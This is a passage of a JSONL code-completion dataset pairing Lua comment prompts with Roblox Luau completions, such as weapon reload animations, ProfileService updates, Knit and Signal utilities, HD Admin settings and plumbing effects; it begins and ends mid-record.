MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame)\n\t\t\t\t\n\n\t\t\tobjs[5].Handle:WaitForChild(\"MagOut\"):Play()\n\t\t\t\n\t\t\twait(0.3)\t\t\t\t\n\t\t\tts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()\n\t\t\twait(0.75)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play()\n\t\t\twait(0.3)\n\t\t\tts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play()\n\t\t\tts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play()\n\t\t\tobjs[5].Handle:WaitForChild(\"MagIn\"):Play()\n\t\t\tMagC:Destroy()\n\t\t\tobjs[5].Mag.Transparency = 0\t\n\n\t\t\tif (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then\n\t\t\t\tobjs[7].Value = objs[7].Value + objs[6].Value\n\t\t\t\tobjs[6].Value = 0\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\n\t\t\telseif objs[7].Value <= 0 then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\t\tobjs[9] = false\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1\n\t\t\t\t--objs[10].Recarregar:FireServer(objs[6].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo + 1\n\n\t\t\telseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then\n\t\t\t\tobjs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)\n\t\t\t\t--Evt.Recarregar:FireServer(objs[5].Value)\n\t\t\t\tobjs[7].Value = objs[8].Ammo\n\t\t\tend\n\t\t\twait(0.55)\n\t\tend;\n"} +{"prompt": "-- Remote Functions", "completion": "\nlocal remoteEvents = game:GetService(\"ReplicatedStorage\").Remotes.RemoteEvents\nlocal remoteFunctions = game:GetService(\"ReplicatedStorage\").Remotes.RemoteFunctions\n"} +{"prompt": "--local ClickerModule = require(343254562)\n--local clickEvent = ClickerModule.RemoteEvent", "completion": "\nlocal interactiveParts = {}\nlocal activationDistance = 12\nlocal flushing = false\nlocal water = script.Parent.Parent.Water\nlocal sound = script.Parent.Parent.ToiletBowl.Sound\nsound:Play()\nwait(0.75)\n\n\t\t\t\n\t\t\t\n\t\t\tfor i = 1, 5 do\n\t\t\t\twater.CFrame = water.CFrame * CFrame.new(0, 0.01, 0)\n\t\t\t\twait()\n\t\t\tend\n\t\t\t--wait(1)\n\t\t\tfor i = 1, 23 do\n\t\t\t\twater.Mesh.Scale = water.Mesh.Scale + Vector3.new(-0.0149, 0, -0.0149)\n\t\t\t\twater.CFrame = water.CFrame * CFrame.new(0, -0.0149, 0)\n\t\t\t\twait()\n\t\t\tend\n\t\t\tfor i, v in pairs(script.Parent.Parent:GetChildren()) do\n\t\t\t\tif v.Name == \"WaterSwirl\" then\n\t\t\t\t\tv.ParticleEmitter.Transparency = NumberSequence.new(0.9)\n\t\t\t\t\tv.ParticleEmitter.Rate = 900\n\t\t\t\tend\nend\n\t\t\t\n\t\t\t\n\t\t\twait(1)\n\t\t\t\n\t\t\tfor i = 1, 10 do\n\t\t\t\tfor ii, v in pairs(script.Parent.Parent:GetChildren()) do\n\t\t\t\t\tif v.Name == \"WaterSwirl\" then\n\t\t\t\t\t\tv.ParticleEmitter.Transparency = NumberSequence.new(0.9 + (0.015 * i))\n\t\t\t\t\t\tif i == 10 then\n\t\t\t\t\t\t\tv.ParticleEmitter.Rate = 0\n\t\t\t\t\t\tend\nend\n\t\t\t\tend\n\t\t\t\twait(0.2)\n\t\t\tend\n\n\t\t\tscript.Parent.Parent.ToiletUsed.Value = false\n\t\t\twater.BrickColor = BrickColor.new(\"Fog\")\n\t\t\t\n\t\t\tfor i = 1, 145 do\n\t\t\t\twater.Mesh.Scale = water.Mesh.Scale + Vector3.new(0.0021, 0, 0.0021)\n\t\t\t\twater.CFrame = water.CFrame * CFrame.new(0, 0.0021, 0)\n\t\t\t\twait()\n\t\t\tend\n\t\t\twater.CFrame = script.Parent.Parent.WaterResetPos.CFrame\n\t\t\twater.Mesh.Scale = Vector3.new(1,0,1)\n\n\t\t\tflushing = false\n\t\t\tscript.Disabled = true\n\t\t\n\n"} +{"prompt": "--- Gets the text in the command bar text box", "completion": "\nfunction Window:GetEntryText()\n\treturn Entry.TextBox.Text:gsub(\"\\t\", \"\")\nend\n"} +{"prompt": "--// Start and stop fading sequences / timers", "completion": "\nUpdateFadingForMouseState(true)\nUpdateFadingForMouseState(false)\n\n"} +{"prompt": "-- EXPOSED TO \"update_handler\" DURING ProfileStore:GlobalUpdateProfileAsync() CALL", "completion": "\nfunction GlobalUpdates:AddActiveUpdate(update_data)\n\tif type(update_data) ~= \"table\" then\n\t\terror(\"[ProfileService]: Invalid update_data\")\n\tend\n\tif self._new_active_update_listeners ~= nil then\n\t\terror(\"[ProfileService]: Can't add active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()\")\n\telseif self._update_handler_mode ~= true then\n\t\terror(\"[ProfileService]: Can't add active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()\")\n\tend\n\t-- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}}\n\tlocal updates_latest = self._updates_latest\n\tlocal update_index = updates_latest[1] + 1 -- Incrementing global update index\n\tupdates_latest[1] = update_index\n\t-- Add new active global update:\n\ttable.insert(updates_latest[2], {update_index, 1, false, update_data})\nend\n\nfunction GlobalUpdates:ChangeActiveUpdate(update_id, update_data)\n\tif type(update_id) ~= \"number\" then\n\t\terror(\"[ProfileService]: Invalid update_id\")\n\tend\n\tif type(update_data) ~= \"table\" then\n\t\terror(\"[ProfileService]: Invalid update_data\")\n\tend\n\tif self._new_active_update_listeners ~= nil then\n\t\terror(\"[ProfileService]: Can't change active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()\")\n\telseif self._update_handler_mode ~= true then\n\t\terror(\"[ProfileService]: Can't change active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()\")\n\tend\n\t-- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}}\n\tlocal updates_latest = self._updates_latest\n\tlocal get_global_update = nil\n\tfor _, global_update in ipairs(updates_latest[2]) do\n\t\tif update_id == global_update[1] then\n\t\t\tget_global_update = global_update\n\t\t\tbreak\n\t\tend\n\tend\n\tif get_global_update ~= nil then\n\t\tif get_global_update[3] == true then\n\t\t\terror(\"[ProfileService]: Can't change locked global update\")\n\t\tend\n\t\tget_global_update[2] = get_global_update[2] + 1 -- Increment version id\n\t\tget_global_update[4] = update_data -- Set new global update data\n\telse\n\t\terror(\"[ProfileService]: Passed non-existant update_id\")\n\tend\nend\n\nfunction GlobalUpdates:ClearActiveUpdate(update_id)\n\tif type(update_id) ~= \"number\" then\n\t\terror(\"[ProfileService]: Invalid update_id argument\")\n\tend\n\tif self._new_active_update_listeners ~= nil then\n\t\terror(\"[ProfileService]: Can't clear active global updates in loaded Profile; Use ProfileStore:GlobalUpdateProfileAsync()\")\n\telseif self._update_handler_mode ~= true then\n\t\terror(\"[ProfileService]: Can't clear active global updates in view mode; Use ProfileStore:GlobalUpdateProfileAsync()\")\n\tend\n\t-- self._updates_latest = {}, -- [table] {update_index, {{update_id, version_id, update_locked, update_data}, ...}}\n\tlocal updates_latest = self._updates_latest\n\tlocal get_global_update_index = nil\n\tlocal get_global_update = nil\n\tfor index, global_update in ipairs(updates_latest[2]) do\n\t\tif update_id == global_update[1] then\n\t\t\tget_global_update_index = index\n\t\t\tget_global_update = global_update\n\t\t\tbreak\n\t\tend\n\tend\n\tif get_global_update ~= nil then\n\t\tif get_global_update[3] == true then\n\t\t\terror(\"[ProfileService]: Can't clear locked global update\")\n\t\tend\n\t\ttable.remove(updates_latest[2], get_global_update_index) -- Remove active global update\n\telse\n\t\terror(\"[ProfileService]: Passed non-existant update_id\")\n\tend\nend\n"} +{"prompt": "--[[\n\n\nThe mirror will only work when ingame (or test mode), due to its scripted nature.\n\n\n]]", "completion": "\n\nlocal mirror = script.Mirror\n\nmirror.Adornee = script.Parent\n\nmirror:Clone().Parent = game.StarterGui\n"} +{"prompt": "--[=[\n\tStops the shake effect. If using `OnSignal` or `BindToRenderStep`, those bound\n\tfunctions will be disconnected/unbound.\n\n\t`Stop` is automatically called when the shake effect is completed _or_ when the\n\t`Destroy` method is called.\n]=]", "completion": "\nfunction Shake:Stop()\n\tself._trove:Clean()\nend\n\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (config ~= nil) then"} +{"prompt": "--[[\n\n\t19 -- All Accessories\n\t9 -- Hat\n\t20 -- HairAccessory\n\t21 -- FaceAccessory\n\t22 -- NeckAccessory\n\t23 -- ShoulderAccessory\n\t24 -- FrontAccessory\n\t25 -- BackAccessory\n\t26 -- WaistAccessory\n\t\n\t4 -- Faces+Heads\n\t10 -- Faces\n\t15 -- Heads\n\n--]]", "completion": "\n\nlocal Http = game:GetService(\"HttpService\")\n\nlocal subcategory = 9\nlocal url = \"https://search.roblox.com/catalog/json?Subcategory=\" .. subcategory .. \"&IncludeNotForSale=true&ResultsPerPage=60&PageNumber=\"\n\nlocal pages = 25\n\nlocal assets = {}\n\nfor i = 1, pages do\n\tlocal urlPage = url .. i\n\tlocal data = Http:JSONEncode(Http:GetAsync(urlPage))\n\tdata = Http:JSONDecode(data)\n\t\n\tfor ii = 1, #data do\n\t\tlocal asset = data[ii]\n\t\t\n\t\tlocal id = asset.AssetId\n\t\tlocal name = asset.Name\n\t\t\n\t\tassets[#assets + 1] = \"{Id = \" ..id .. \", Name = \\\"\" .. name .. \"\\\"}\"\n\tend\n\tprint(i)\nend\n\nlocal source = \"return { \\n\\t\" .. table.concat(assets, \",\\n\\t\") .. \"\\n}\"\nlocal module = Instance.new(\"ModuleScript\")\nmodule.Source = source\nmodule.Parent = workspace\n"} +{"prompt": "-- upstream: https://github.com/facebook/react/blob/a9b035b0c2b8235405835beca0c4db2cc37f18d0/packages/shared/shallowEqual.js\n--!strict\n--[[*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n *\n]]", "completion": "\nlocal is = require(script.Parent.objectIs)\n"} +{"prompt": "-- BannedPlayerKicking fires right before a banned player is kicked\n-- from the game, sending the Player and the payload from data stores\n-- (see below for the format of this table). It is recommended that you\n-- hook this event up to some analytics solution.", "completion": "\n"} +{"prompt": "----- water handler -----", "completion": "\n\nwhile true do\n\tif script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 2 then -- if BOTH ON and PLUGGED\t\t\n\t\twater.Scale = water.Scale + Vector3.new(0,0.01,0)\n\t\twater.Offset = Vector3.new(0,water.Scale.Y/2,0)\n\t\thotWater = hotWater + 1\n\t\tcoldWater = coldWater + 1\n\t\tdrainSound:Stop()\n\telseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 2 then -- if ON and PLUGGED\n\t\twater.Scale = water.Scale + Vector3.new(0,0.01,0)\n\t\twater.Offset = Vector3.new(0,water.Scale.Y/2,0)\n\t\tif script.Parent.HotOn.Value == true then\n\t\t\thotWater = hotWater + 1\n\t\telse\n\t\t\tcoldWater = coldWater + 1\n\t\tend\n\t\tdrainSound:Stop()\n\telseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 2 then -- if ON and NOT PLUGGED\n\t\tif script.Parent.HotOn.Value == true then\n\t\t\tcoldWater = coldWater - 1\t\t\t\n\t\telse\n\t\t\thotWater = hotWater - 1\n\t\tend\n\t\tdrainSound:Stop()\n\telseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED\n\t\twater.Scale = water.Scale + Vector3.new(0,-0.01,0)\n\t\twater.Offset = Vector3.new(0,water.Scale.Y/2,0)\n\t\tcoldWater = coldWater - 1\n\t\thotWater = hotWater - 1\n\t\tdrainSound:Play()\n\tend\n\t\n\tif coldWater < 1 then\n\t\tcoldWater = 1\n\tend\n\tif hotWater < 1 then\n\t\thotWater = 1\n\tend\n\t\n\twaterTemp = hotWater/coldWater\t\n\t\n\tif waterTemp > 1 then\n\t\twater.Parent.SteamEmitter.Enabled = true\n\telse\n\t\twater.Parent.SteamEmitter.Enabled = false\n\tend\n\twait(0.1)\n\t\n\t\n\tif script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true then\n\t\tscript.Parent.Splash.ParticleEmitter.Enabled = true\n\telse\n\t\tscript.Parent.Splash.ParticleEmitter.Enabled = false\n\tend\t\n\t\n\tif water.Scale.Y <= 0 then\n\t\tdrainSound:Stop()\n\tend\nend\n"} +{"prompt": "--[=[\n\t@return Promise\n\tReturns a promise that is resolved once Knit has started. This is useful\n\tfor any code that needs to tie into Knit services but is not the script\n\tthat called `Start`.\n\t```lua\n\tKnit.OnStart():andThen(function()\n\t\tlocal MyService = Knit.Services.MyService\n\t\tMyService:DoSomething()\n\tend):catch(warn)\n\t```\n]=]", "completion": "\nfunction KnitServer.OnStart()\n\tif startedComplete then\n\t\treturn Promise.resolve()\n\telse\n\t\treturn Promise.fromEvent(onStartedComplete.Event)\n\tend\nend\n\n\nreturn KnitServer\n"} +{"prompt": "--------------------------------------------", "completion": "\n\nlocal Signal = {}\nSignal.__index = Signal\n\n\nfunction Signal.new(maid)\n\tlocal self = setmetatable({\n\t\t_bindable = Instance.new(\"BindableEvent\");\n\t\t_connections = {};\n\t\t_args = {};\n\t\t_threads = 0;\n\t\t_id = 0;\n\t}, Signal)\n\tif (maid) then\n\t\tmaid:GiveTask(self)\n\tend\n\treturn self\nend\n\n\nfunction Signal.Is(obj)\n\treturn (type(obj) == \"table\" and getmetatable(obj) == Signal)\nend\n\n\nfunction Signal:Fire(...)\n\tlocal id = self._id\n\tself._id += 1\n\tself._args[id] = {#self._connections + self._threads, {n = select(\"#\", ...), ...}}\n\tself._threads = 0\n\tself._bindable:Fire(id)\nend\n\n\nfunction Signal:Wait()\n\tself._threads += 1\n\tlocal id = self._bindable.Event:Wait()\n\tlocal args = self._args[id]\n\targs[1] -= 1\n\tif (args[1] <= 0) then\n\t\tself._args[id] = nil\n\tend\n\treturn table.unpack(args[2], 1, args[2].n)\nend\n\n\nfunction Signal:WaitPromise()\n\treturn Promise.new(function(resolve)\n\t\tresolve(self:Wait())\n\tend)\nend\n\n\nfunction Signal:Connect(handler)\n\tlocal connection = Connection.new(self, self._bindable.Event:Connect(function(id)\n\t\tlocal args = self._args[id]\n\t\targs[1] -= 1\n\t\tif (args[1] <= 0) then\n\t\t\tself._args[id] = nil\n\t\tend\n\t\thandler(table.unpack(args[2], 1, args[2].n))\n\tend))\n\ttable.insert(self._connections, connection)\n\treturn connection\nend\n\n\nfunction Signal:DisconnectAll()\n\tfor _,c in ipairs(self._connections) do\n\t\tif (c._conn) then\n\t\t\tc._conn:Disconnect()\n\t\tend\n\tend\n\tself._connections = {}\n\tself._args = {}\nend\n\n\nfunction Signal:Destroy()\n\tself:DisconnectAll()\n\tself._bindable:Destroy()\nend\n\n\nreturn Signal\n"} +{"prompt": "--------------| SYSTEM SETTINGS |--------------", "completion": "\nPrefix\t\t\t\t= \";\";\t\t\t-- The character you use before every command (e.g. ';jump me').\nSplitKey \t\t\t= \" \";\t\t\t-- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me').\nBatchKey \t\t\t= \"\";\t\t\t-- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me'\nQualifierBatchKey \t= \",\";\t\t\t-- The character used to split up qualifiers (e.g. ;jump player1,player2,player3)\n\nTheme\t\t\t\t= \"Blue\";\t\t-- The default UI theme.\nNoticeSoundId\t\t= 2865227271;\t-- The SoundId for notices.\nNoticeVolume\t\t= 0.1;\t\t\t-- The Volume for notices.\nNoticePitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for notices.\nErrorSoundId\t\t= 2865228021;\t-- The SoundId for error notifications.\nErrorVolume\t\t\t= 0.1;\t\t\t-- The Volume for error notifications.\nErrorPitch\t\t\t= 1;\t\t\t-- The Pitch/PlaybackSpeed for error notifications.\nAlertSoundId\t\t= 3140355872;\t-- The SoundId for alerts.\nAlertVolume\t\t\t= 0;\t\t\t-- The Volume for alerts.\nAlertPitch\t\t\t= 0;\t\t\t-- The Pitch/PlaybackSpeed for alerts.\n\nWelcomeBadgeId\t\t= 0;\t\t\t-- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge.\n\nCommandDebounce\t\t= true;\t\t\t-- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable.\nSaveRank\t\t\t= true;\t\t\t-- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable.\nLoopCommands\t\t= 3;\t\t\t-- The minimum rank required to use LoopCommands.\nMusicList \t\t\t= {505757009,};\t-- Songs which automatically appear in a user's radio. Type '!radio' to display the radio.\n\nThemeColors = {\t\t\t\t\t\t-- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value};\n\t{\"Red\", \tColor3.fromRGB(150, 0, 0),\t\t};\n\t{\"Orange\", \tColor3.fromRGB(150, 75, 0),\t\t};\n\t{\"Brown\", \tColor3.fromRGB(120, 80, 30),\t};\n\t{\"Yellow\", \tColor3.fromRGB(130, 120, 0),\t};\n\t{\"Green\", \tColor3.fromRGB(0, 120, 0),\t\t};\n\t{\"Blue\", \tColor3.fromRGB(0, 100, 150),\t};\n\t{\"Purple\", \tColor3.fromRGB(100, 0, 150),\t};\n\t{\"Pink\",\tColor3.fromRGB(150, 0, 100),\t};\n\t{\"Black\", \tColor3.fromRGB(60, 60, 60),\t\t};\n};\n\nColors = {\t\t\t\t\t\t\t-- The colours for ChatColors and command arguments. | Format: {\"ShortName\", \"FullName\", Color3Value};\n\t{\"r\", \t\t\"Red\",\t\t \t\tColor3.fromRGB(255, 0, 0)\t\t};\n\t{\"o\", \t\t\"Orange\",\t \t\tColor3.fromRGB(250, 100, 0)\t\t};\n\t{\"y\", \t\t\"Yellow\",\t\t\tColor3.fromRGB(255, 255, 0)\t\t};\n\t{\"g\", \t\t\"Green\"\t,\t\t\tColor3.fromRGB(0, 255, 0)\t\t};\n\t{\"dg\", \t\t\"DarkGreen\"\t, \t\tColor3.fromRGB(0, 125, 0)\t\t};\n\t{\"b\", \t\t\"Blue\",\t\t \t\tColor3.fromRGB(0, 255, 255)\t\t};\n\t{\"db\", \t\t\"DarkBlue\",\t\t\tColor3.fromRGB(0, 50, 255)\t\t};\n\t{\"p\", \t\t\"Purple\",\t \t\tColor3.fromRGB(150, 0, 255)\t\t};\n\t{\"pk\",\t\t\"Pink\",\t\t \t\tColor3.fromRGB(255, 85, 185)\t};\n\t{\"bk\",\t\t\"Black\",\t\t \tColor3.fromRGB(0, 0, 0)\t\t\t};\n\t{\"w\",\t\t\"White\",\t \t\tColor3.fromRGB(255, 255, 255)\t};\n};\nChatColors = {\t\t\t\t\t\t-- The colour a player's chat will appear depending on their rank. '[\"Owner\"] = \"Yellow\";' makes the owner's chat yellow.\n\t[5] \t\t= \"Yellow\";\n};\n\nCmdbar\t\t\t\t\t\t= 1;\t\t\t-- The minimum rank required to use the Cmdbar.\nCmdbar2\t\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to use the Cmdbar2.\nViewBanland\t\t\t\t\t= 3;\t\t\t-- The minimum rank required to view the banland.\nOnlyShowUsableCommands\t\t= false;\t\t-- Only display commands equal to or below the user's rank on the Commands page.\nRankRequiredToViewPage\t\t= {\t\t\t\t-- || The pages on the main menu ||\n\t[\"Commands\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Settings\"]\t\t= 0;\n};\nRankRequiredToViewRank\t\t= {\t\t\t\t-- || The rank categories on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"HeadAdmin\"]\t\t= 0;\n\t[\"Admin\"]\t\t\t= 0;\n\t[\"Mod\"]\t\t\t\t= 0;\n\t[\"VIP\"]\t\t\t\t= 0;\n};\nRankRequiredToViewRankType\t= {\t\t\t\t-- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||\n\t[\"Owner\"]\t\t\t= 0;\n\t[\"SpecificUsers\"]\t= 5;\n\t[\"Gamepasses\"] \t\t= 0;\n\t[\"Assets\"] \t\t\t= 0;\n\t[\"Groups\"] \t\t\t= 0;\n\t[\"Friends\"] \t\t= 0;\n\t[\"FreeAdmin\"] \t\t= 0;\n\t[\"VipServerOwner\"] \t= 0;\n};\nRankRequiredToViewIcon\t\t= 0;\n\nWelcomeRankNotice\t\t\t= true;\t\t\t-- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.\nWelcomeDonorNotice\t\t\t= true;\t\t\t-- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.\nWarnIncorrectPrefix\t\t\t= true;\t\t\t-- Warn the user if using the wrong prefix | \"Invalid prefix! Try using [correctPrefix][commandName] instead!\"\nDisableAllNotices\t\t\t= false;\t\t-- Set to true to disable all HD Admin notices.\n\nScaleLimit\t\t\t\t\t= 4;\t\t\t-- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.\nIgnoreScaleLimit\t\t\t= 3;\t\t\t-- Any ranks equal or above this value will ignore 'ScaleLimit'\nCommandLimits\t\t\t\t= {\t\t\t\t-- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.\n\t[\"fly\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"fly2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"noclip2\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"speed\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n\t[\"jumpPower\"]\t= {\n\t\tLimit \t\t\t\t= 10000;\n\t\tIgnoreLimit \t\t= 3;\n\t};\n};\n\nVIPServerCommandBlacklist\t= {\"permRank\", \"permBan\", \"globalAnnouncement\"};\t-- Commands players are probihited from using in VIP Servers.\nGearBlacklist\t\t\t\t= {67798397};\t-- The IDs of gear items to block when using the ;gear command.\nIgnoreGearBlacklist\t\t\t= 4;\t\t\t-- The minimum rank required to ignore the gear blacklist.\n\nPlayerDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.\nSystemDataStoreVersion\t\t= \"V1.0\";\t\t-- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.\n\nCoreNotices\t\t\t\t\t= {\t\t\t\t-- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]\n\t--NoticeName = NoticeDetails;\n};\n\n\n\n"} +{"prompt": "--[[ Script Variables ]]", "completion": "--\nwhile not Players.LocalPlayer do\n\twait()\nend\nlocal LocalPlayer = Players.LocalPlayer\nlocal DPadFrame = nil\nlocal TouchObject = nil\nlocal OnInputEnded = nil\t\t-- defined in Create()\n"} +{"prompt": "--[[\n\tDrop #1: 61.44\n\tDrop #2: 123.165\n\tDrop #3: 184.482\n]]", "completion": "\n\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal Players = game:GetService(\"Players\")\nlocal CollectionService = game:GetService(\"CollectionService\")\nlocal RunService = game:GetService(\"RunService\")\nlocal player = Players.LocalPlayer\n"} +{"prompt": "--[[Maid\nManages the cleaning of events and other things.\n \nAPI:\n\tHireMaid() Returns a new Maid object.\n \n\tMaid[key] = (function) Adds a task to perform when cleaning up.\n\tMaid[key] = (event connection) Manages an event connection. Anything that isn't a function is assumed to be this.\n\tMaid[key] = nil Removes a named task. If the task is an event, it is disconnected.\n \n\tMaid:GiveTask(task) Same as above, but uses an incremented number as a key.\n\tMaid:DoCleaning() Disconnects all managed events and performs all clean-up tasks.\n]]", "completion": "\nlocal MakeMaid do\n\tlocal index = {\n\t\tGiveTask = function(self, task)\n\t\t\tlocal n = #self.Tasks+1\n\t\t\tself.Tasks[n] = task\n\t\t\treturn n\n\t\tend;\n\t\tDoCleaning = function(self)\n\t\t\tlocal tasks = self.Tasks\n\t\t\tfor name,task in pairs(tasks) do\n\t\t\t\tif type(task) == 'function' then\n\t\t\t\t\ttask()\n\t\t\t\telse\n\t\t\t\t\ttask:disconnect()\n\t\t\t\tend\n\t\t\t\ttasks[name] = nil\n\t\t\tend\n\t\t\t-- self.Tasks = {}\n\t\tend;\n\t};\n\n\tlocal mt = {\n\t\t__index = function(self, k)\n\t\t\tif index[k] then\n\t\t\t\treturn index[k]\n\t\t\telse\n\t\t\t\treturn self.Tasks[k]\n\t\t\tend\n\t\tend;\n\t\t__newindex = function(self, k, v)\n\t\t\tlocal tasks = self.Tasks\n\t\t\tif v == nil then\n\t\t\t\t-- disconnect if the task is an event\n\t\t\t\tif type(tasks[k]) ~= 'function' and tasks[k] then\n\t\t\t\t\ttasks[k]:disconnect()\n\t\t\t\tend\n\t\t\telseif tasks[k] then\n\t\t\t\t-- clear previous task\n\t\t\t\tself[k] = nil\n\t\t\tend\n\t\t\ttasks[k] = v\n\t\tend;\n\t}\n\n\tfunction MakeMaid()\n\t\treturn setmetatable({Tasks={},Instances={}},mt)\n\tend\nend\n\nlocal function GetCharacter(Descendant)\n\t-- Returns the Player and Charater that a descendent is part of, if it is part of one.\n\t-- @param Descendant A child of the potential character. \n\n\tlocal Charater = Descendant\n\tlocal Player = Players:GetPlayerFromCharacter(Charater)\n\n\twhile not Player do\n\t\tif Charater.Parent then\n\t\t\tCharater = Charater.Parent\n\t\t\tPlayer = Players:GetPlayerFromCharacter(Charater)\n\t\telse\n\t\t\treturn nil\n\t\tend\n\tend\n\n\t-- Found the player, character must be true.\n\treturn Charater, Player\nend\n"} +{"prompt": "-- Connect 'Blocked' event to the 'onPathBlocked' function", "completion": "\npath.Blocked:Connect(onPathBlocked)\n "} +{"prompt": "--// Events", "completion": "\nlocal L_29_ = L_6_:WaitForChild('Equipped')\nlocal L_30_ = L_6_:WaitForChild('ShootEvent')\nlocal L_31_ = L_6_:WaitForChild('DamageEvent')\nlocal L_32_ = L_6_:WaitForChild('CreateOwner')\nlocal L_33_ = L_6_:WaitForChild('Stance')\nlocal L_34_ = L_6_:WaitForChild('HitEvent')\nlocal L_35_ = L_6_:WaitForChild('KillEvent')\nlocal L_36_ = L_6_:WaitForChild('AimEvent')\nlocal L_37_ = L_6_:WaitForChild('ExploEvent')\nlocal L_38_ = L_6_:WaitForChild('AttachEvent')\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nKnife = script.Parent\n\nPlayers = game:GetService(\"Players\")\nDebris = game:GetService(\"Debris\")\n\nRbxUtility = LoadLibrary(\"RbxUtility\")\nCreate = RbxUtility.Create\n\nCreator = Knife:WaitForChild(\"Creator\")\nDamage = Knife:WaitForChild(\"Damage\")\n\nKnifeHit = false\n\nRate = (1 / 60)\n\nfunction CheckTableForString(Table, String)\n\tfor i, v in pairs(Table) do\n\t\tif string.find(string.lower(String), string.lower(v)) then\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend\n\nfunction CheckIntangible(Hit)\n\tlocal ProjectileNames = {\"Water\", \"Arrow\", \"Projectile\", \"Effect\", \"Rail\", \"Laser\", \"Bullet\"}\n\tif Hit and Hit.Parent then\n\t\tif ((not Hit.CanCollide or CheckTableForString(ProjectileNames, Hit.Name)) and not 